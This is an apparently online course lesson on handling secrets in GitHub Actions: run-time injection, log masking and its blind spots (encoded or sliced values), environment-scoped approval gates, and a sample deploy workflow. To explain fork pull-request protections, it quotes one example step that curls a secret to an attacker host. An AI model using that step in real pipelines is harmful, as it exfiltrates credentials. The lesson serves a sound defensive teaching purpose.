Lesson 5 of 30
How a pipeline touches an API key without ever writing it into a YAML file, why secrets are automatically masked in logs — and the one common way people still leak them anyway.
15 min read
Every option explains itself — why the right one is right, and why each wrong one is wrong. Miss one and it comes back later on a spaced-repetition schedule.
This topic is about judgment and practical tradeoffs more than a single right answer — a mock interview is the better way to test yourself on it.
Be interviewed on this →Hints without spoilers, and a plain explanation of why a wrong answer was wrong — answered only from this lesson. Free account, no card.
Sign up freeWhat interviewers actually ask about this, and what a strong answer has to cover.
A strong answer covers
Likely follow-ups
A secret is a sensitive value — an API key, a database password, a deploy token — stored encrypted by GitHub, outside the repo entirely, and injected into a workflow only at run time via ${{ secrets.NAME }}. It's never written into the YAML file itself, and it's never visible in the repo's history, because it was never in the repo to begin with.
GitHub automatically masks any secret's value if it appears in a step's log output — it gets replaced with ***. That protects you from most accidents, but not all of them: masking works by string-matching the exact secret value against what a step prints. If you transform the secret first — base64-encode it, print just a substring, concatenate it into another string — the masking can miss it, and the raw value ends up sitting in a public log forever. The one genuinely reliable way to leak a secret in CI is still just typing echo $MY_SECRET (or any command that dumps it verbatim) into a step — masking usually catches that specific case, but don't rely on it as your only line of defense; the real rule is simply never deliberately print a secret.
Secrets can be scoped at two levels: repository-level secrets are available to every workflow in that repo, and environment-scoped secrets are only available to jobs targeting a specific named GitHub Environment (e.g. production), which can additionally require manual approval before that job runs at all — meaning a production database credential doesn't just need a workflow file that references it, it needs a human to click approve first.
None of this repo's real ci.yml steps need a secret — it only type-checks, lints, tests, and builds. But its natural next step, deploying, would:
jobs:
deploy:
runs-on: ubuntu-latest
environment: production # gates this job behind that Environment's
# own secrets AND its required reviewers
steps:
- uses: actions/checkout@v4
- name: Deploy
env:
SUPABASE_SERVICE_ROLE_KEY: ${{ secrets.SUPABASE_SERVICE_ROLE_KEY }}
DATABASE_URL: ${{ secrets.PRODUCTION_DATABASE_URL }}
run: pnpm exec tsx scripts/deploy.ts
${{ secrets.SUPABASE_SERVICE_ROLE_KEY }} pulls the encrypted value at run time and hands it to the step only as an environment variable named SUPABASE_SERVICE_ROLE_KEY, visible to the deploy.ts process but never printed anywhere. If deploy.ts logs its own environment for debugging, GitHub's masking catches the exact string and redacts it — but if deploy.ts instead logged SUPABASE_SERVICE_ROLE_KEY.slice(0, 8) + '...', that substring wouldn't match the full secret string and would print in the clear.
NEXT_PUBLIC_SITE_URL read during pnpm build gets baked into the compiled JavaScript bundle at that moment — changing the secret afterward does nothing until the next build. A runtime env var (read by a running Node server on each request) picks up changes immediately on restart, no rebuild needed. Mixing these up is exactly the bug this project's own CLAUDE.md documents: a wrong NEXT_PUBLIC_SITE_URL baked into the build silently produced four wrong SEO outputs at once.production can require specific reviewers to approve before any job targeting it runs, even if the workflow file itself has no approval logic written anywhere. The gate lives in the Environment's settings, not the YAML.pull_request from a fork intentionally runs with an empty secrets context — otherwise anyone could open a PR that adds run: curl attacker.com?key=${{ secrets.PRODUCTION_KEY }} and steal your production credentials. The alternate pull_request_target trigger can see secrets but runs against the base branch's workflow file, not the fork's — a distinction that exists specifically to prevent that exact attack.This is the exact same secret-handling discipline this repo's own CLAUDE.md insists on for application code, not just CI: never use the Supabase service-role key from client-reachable code, because a service-role key in a browser bundle is just as permanently exposed as a secret accidentally echoed into a public CI log — different layer, identical mistake.